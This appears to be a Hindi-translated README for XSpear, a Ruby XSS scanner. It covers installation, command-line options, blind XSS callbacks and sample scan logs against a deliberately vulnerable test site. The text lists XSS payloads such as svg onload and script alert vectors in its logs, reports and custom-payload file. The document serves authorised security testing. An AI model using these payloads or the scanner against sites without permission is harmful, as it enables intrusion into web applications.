XSpear

XSpear ruby gems पर XSS स्कैनर है

[!IMPORTANT] XSpear भंडार संग्रहीत यह भंडार संग्रहीत किया गया है और अब केवल-पढ़ने योग्य है। XSpear अब सक्रिय रूप से अनुरक्षित नहीं है।

इसके बजाय Dalfox आज़माएं 🌙🦊

एक तेज़, अधिक शक्तिशाली XSS स्कैनर जिसमें उन्नत सुविधाएँ हैं।

→ https://github.com/hahwul/dalfox

मुख्य विशेषताएं

• पैटर्न मिलान आधारित XSS स्कैनिंग
• हेडलेस ब्राउज़र पर alert confirm prompt इवेंट का पता लगाएं (Selenium के साथ)
• XSS सुरक्षा बाईपास और रिफ्लेक्टेड (या सभी) पैरामीटर के लिए अनुरोध/प्रतिक्रिया का परीक्षण
  
  • रिफ्लेक्टेड पैरामीटर
  • सभी पैरामीटर (ब्लाइंड XSS, कुछ भी के लिए)
  • फ़िल्टर्ड परीक्षण event handler HTML tag Special Char Useful code
  • केवल आपके लिए कस्टम पेलोड का परीक्षण!
• ब्लाइंड XSS का परीक्षण (XSS Hunter, ezXSS, HBXSS, आदि सभी URL आधारित ब्लाइंड टेस्ट के साथ...)
• डायनामिक/स्टैटिक विश्लेषण
  • SQL त्रुटि पैटर्न खोजें
  • सुरक्षा हेडर का विश्लेषण (CSP HSTS X-frame-options, XSS-protection आदि...)
  • अन्य हेडर का विश्लेषण..(सर्वर संस्करण, Content-Type, आदि...)
  • URI पथ पर XSS परीक्षण
  • केवल पैरामीटर विश्लेषण का परीक्षण (उर्फ नो-XSS मोड)

स्थापना

इसे स्वयं स्थापित करें:

$ gem install XSpear

या इसे स्वयं स्थापित करें (स्थानीय फ़ाइल / नवीनतम डाउनलोड करें):

$ gem install XSpear-{version}.gem

अपने एप्लिकेशन के Gemfile में यह पंक्ति जोड़ें:```ruby gem 'XSpear'

और फिर निष्पादित करें:

    $ bundle

### निर्भरता रत्न
`colorize` `selenium-webdriver` `terminal-table` `progress_bar`<br>
यदि आपने इसे Gem लाइब्रेरी में स्वचालित रूप से स्थापित करने के लिए कॉन्फ़िगर किया है, लेकिन यह असामान्य रूप से व्यवहार करता है, तो इसे निम्नलिखित कमांड से स्थापित करें।```
$ gem install colorize
$ gem install selenium-webdriver
$ gem install terminal-table
$ gem install progress_bar

cli पर उपयोग```

Usage: xspear -u [target] -[options] [value] [ e.g ] $ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin' -v 1 -a $ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 2 $ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 0 -o json

[ Options ] -u, --url=target_URL [required] Target Url -d, --data=POST Body [optional] POST Method Body data -a, --test-all-params [optional] test to all params(include not reflected) --no-xss [optional] no testing xss, only parameters analysis --headers=HEADERS [optional] Add HTTP Headers --cookie=COOKIE [optional] Add Cookie --custom-payload=FILENAME [optional] Load custom payload json file --raw=FILENAME [optional] Load raw file(e.g raw_sample.txt) -p, --param=PARAM [optional] Test paramters -b, --BLIND=URL [optional] Add vector of Blind XSS + with XSS Hunter, ezXSS, HBXSS, etc... + e.g : -b https://hahwul.xss.ht -t, --threads=NUMBER [optional] thread , default: 10 -o, --output=FORMAT [optional] Output format (cli , json) -c, --config=FILENAME [optional] Using config.json -v, --verbose=0~3 [optional] Show log depth + v=0 : quite mode(only result) + v=1 : show scanning status(default) + v=2 : show scanning logs + v=3 : show detail log(req/res) -h, --help Prints this help --version Show XSpear version --update Show how to update

### परिणाम प्रकार
- (I)NFO: जानकारी प्राप्त करें (जैसे SQL त्रुटि, फ़िल्टर किए गए नियम, परावर्तित पैरामीटर, आदि)
- (V)UNL: कमजोर XSS, Selenium के साथ चेक किया गया alert/prompt/confirm
- (L)OW: निम्न स्तर की समस्या
- (M)EDIUM: मध्यम स्तर की समस्या
- (H)IGH: उच्च स्तर की समस्या

### वर्बोज़ मोड
**[0] शांत मोड (केवल परिणाम दिखाएं)**```
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 0
you see report

[1] प्रगति पट्टी दिखाएँ (डिफ़ॉल्ट)``` $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 1 [] analysis request.. [] used test-reflected-params mode(default) [] creating a test query [for reflected 2 param + blind XSS ] [] test query generation is complete. [249 query] [*] starting XSS Scanning. [10 threads]

[#######################################] [249/249] [100.00%] [01:05] [00:00] [ 3.83/s] ... you see report

**[2] स्कैनिंग लॉग दिखाएँ**```
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2
[*] analysis request..
[I] [22:42:41] [200/OK] [param: cat][Found SQL Error Pattern]
[-] [22:42:41] [200/OK] 'STATIC' not reflected
[-] [22:42:41] [200/OK] 'cat' not reflected <script>alert(45)</script>
[I] [22:42:41] [200/OK] reflected rEfe6[param: cat][reflected parameter]
[*] used test-reflected-params mode(default)
[*] creating a test query [for reflected 2 param + blind XSS ]
[*] test query generation is complete. [249 query]
[*] starting XSS Scanning. [10 threads]
[I] [22:42:43] [200/OK] reflected onhwul=64[param: cat][reflected EHon{any} pattern]
[-] [22:42:54] [200/OK] 'cat' not reflected 
[-] [22:42:54] [200/OK] 'cat' not reflected <svg/onload=alert(45)>
[H] [22:42:54] [200/OK] reflected <script>alert(45)</script>[param: cat][reflected XSS Code]
[V] [22:42:59] [200/OK] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]
...
you see report

[3] स्कैनिंग विवरण लॉग दिखाएँ``` $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 3 [] analysis request.. [-] [22:56:21] [200/OK] http://testphp.vulnweb.com/listproducts.php?cat=123 in url [ Request ] {"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["/"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]} [ Response ] {"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:53:23 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]} [-] [22:56:21] [200/OK] 'STATIC' not reflected [-] [22:56:21] [200/OK] cat=123rEfe6 in url ... [] used test-reflected-params mode(default) [] creating a test query [for reflected 2 param + blind XSS ] [] test query generation is complete. [249 query] [] starting XSS Scanning. [10 threads] ... [ Request ] {"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]} [ Response ] {"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:54:36 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]} [H] [22:57:33] [200/OK] reflected [param: cat][reflected onfocus XSS Code] ... you see report

### केस दर केस
**XSS स्कैनिंग**```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"

केवल JSON आउटपुट``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 0

**स्कैनिंग थ्रेड सेट करें**```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30

चयनित पैरामीटरों पर परीक्षण``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test

**सभी पैरामीटर पर परीक्षण**<br>
(यह विकल्प प्रतिबिंब के साथ या बिना परीक्षण किया जाता है।)```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -a

केवल परीक्षण पैरामीटर विश्लेषण (जिसे no-xss mode भी कहा जाता है)
``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" --no-xss

**ब्लाइंड xss (सभी params) का परीक्षण**<br>
(जितना संभव हो उतना उपयोग किया जाना चाहिए क्योंकि ब्लाइंड XSS हर जगह है)<br>```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht" -a

# Set your blind xss host. <-b options>

कस्टम पेलोड का परीक्षण
``` $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" --custom-payload=custom_payload.json

custom_payload.json फ़ाइल में```json
[
  {
    "payload":"<svg/onload=alert(1)>",
    "callback":"P1",
    "descript":"blahblah~"
  },
  {
    "payload":"<svg/onload=alert(1)>",
    "callback":"P2",
    "descript":"blahblah~"
  },
  {
    "payload":"<>",
    "callback":"P1",
    "descript":"blahblah~"
  }
]

के लिए Pipeline
``` $ xspear -u {target} -b "your-blind-xss-host" -a -v 0 -o json

-u : target

-b : testing blind xss

-a : test all params(test to not reflected param)

-v : verbose, not showing logs at value 1.

-o : output optios, json!

परिणाम JSON डेटा```
{
    "starttime": "2019-12-25 00:02:58 +0900",
    "endtime": "2019-12-25 00:03:31 +0900",
    "issue_count": 25,
    "issue_list": [{
        "id": 0,
        "type": "INFO",
        "issue": "DYNAMIC ANALYSIS",
        "method": "GET",
        "param": "cat",
        "payload": "XsPeaR\"",
        "description": "Found SQL Error Pattern"
    }, {
        "id": 1,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Found Server: nginx/1.4.1"
    }, {
        "id": 2,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not set HSTS"
    }, {
        "id": 3,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Content-Type: text/html"
    }, {
        "id": 4,
        "type": "LOW",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not Set X-Frame-Options"
    }, {
        "id": 5,
        "type": "MIDUM",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not Set CSP"
    }, {
        "id": 6,
        "type": "INFO",
        "issue": "REFLECTED",
        "method": "GET",
        "param": "cat",
        "payload": "rEfe6",
        "description": "reflected parameter"
    }, {
        "id": 7,
        "type": "INFO",
        "issue": "FILERD RULE",
        "method": "GET",
        "param": "cat",
        "payload": "onhwul=64",
        "description": "not filtered event handler on{any} pattern"
    }
....
, {
        "id": 17,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<audio src onloadstart=alert(45)>",
        "description": "reflected HTML5 XSS Code"
    }, {
        "id": 18,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<keygen autofocus onfocus=alert(45)>",
        "description": "reflected onfocus XSS Code"
 ....
    }, {
        "id": 24,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<marquee onstart=alert(45)>",
        "description": "triggered <marquee onstart=alert(45)>"
    }]
}

(triggered के रूप में चिह्नित आइटम वास्तव में वे पेलोड हैं जो ब्राउज़र में काम करते हैं।)

XSpear on Burpsuite
https://github.com/hahwul/XSpear/tree/master/forBurp

आदि...

Sample log

XSS स्कैनिंग``` xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=z" ) ( ( /( )\ ) )())(()/( ( ) ( (()\ /())` ) ))\ ( /( )( __(()()) /(/( /(())())(()
\ / // |(()\ ()) (() (()

< __ | '_ )/ -_)/ _ || '_| /_/\_\|___/| .__/ \___|\__,_||_| /> |_| \ /< {\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================- / \< \> [ v1.4.0 ] [*] analysis request.. [*] used test-reflected-params mode(default) [*] creating a test query [for reflected 1 param ] [*] test query generation is complete. [251 query] [*] starting XSS Scanning. [10 threads] ...snip... [*] finish scan. the report is being generated.. +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ | [ XSpear report ] | | http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fff... (snip) | | 2019-08-14 23:50:34 +0900 ~ 2019-08-14 23:51:07 +0900 Found 24 issues. | +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ | NO | TYPE | ISSUE | METHOD | PARAM | PAYLOAD | DESCRIPTION | +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ | 0 | INFO | STATIC ANALYSIS | GET | - | <original query> | Found Server: nginx/1.4.1 | | 1 | INFO | STATIC ANALYSIS | GET | - | <original query> | Not set HSTS | | 2 | INFO | STATIC ANALYSIS | GET | - | <original query> | Content-Type: text/html | | 3 | LOW | STATIC ANALYSIS | GET | - | <original query> | Not Set X-Frame-Options | | 4 | MIDUM | STATIC ANALYSIS | GET | - | <original query> | Not Set CSP | | 5 | INFO | DYNAMIC ANALYSIS | GET | cat | XsPeaR" | Found SQL Error Pattern | | 6 | INFO | REFLECTED | GET | cat | rEfe6 | reflected parameter | | 7 | INFO | FILERD RULE | GET | cat | onhwul=64 | not filtered event handler on{any} pattern | | 8 | HIGH | XSS | GET | cat | <script>alert(45)</script> | reflected XSS Code | | 9 | HIGH | XSS | GET | cat | <marquee onstart=alert(45)> | reflected HTML5 XSS Code | | 10 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert45`"> | reflected HTML5 XSS Code | | 11 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 12 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 13 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 14 | HIGH | XSS | GET | cat | <audio src onloadstart=alert(45)> | reflected HTML5 XSS Code | | 15 | HIGH | XSS | GET | cat | <meter onmouseover=alert(45)>0 | reflected HTML5 XSS Code | | 16 | HIGH | XSS | GET | cat | "> | reflected XSS Code | | 17 | HIGH | XSS | GET | cat | <video controls/poster/onerror=alert(45)> | reflected HTML5 XSS Code | | 18 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 19 | VULN | XSS | GET | cat | alert(45) | triggered | | 20 | HIGH | XSS | GET | cat | | triggered | | 21 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert(45)"> | triggered <details/open/ontoggle="alert(45)"> | | 22 | HIGH | XSS | GET | cat | | triggered | | 23 | VULN | XSS | GET | cat | '"><svg/onload=alert(45)> | triggered <svg/onload=alert(45)> | +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ < Available Objects > [cat] param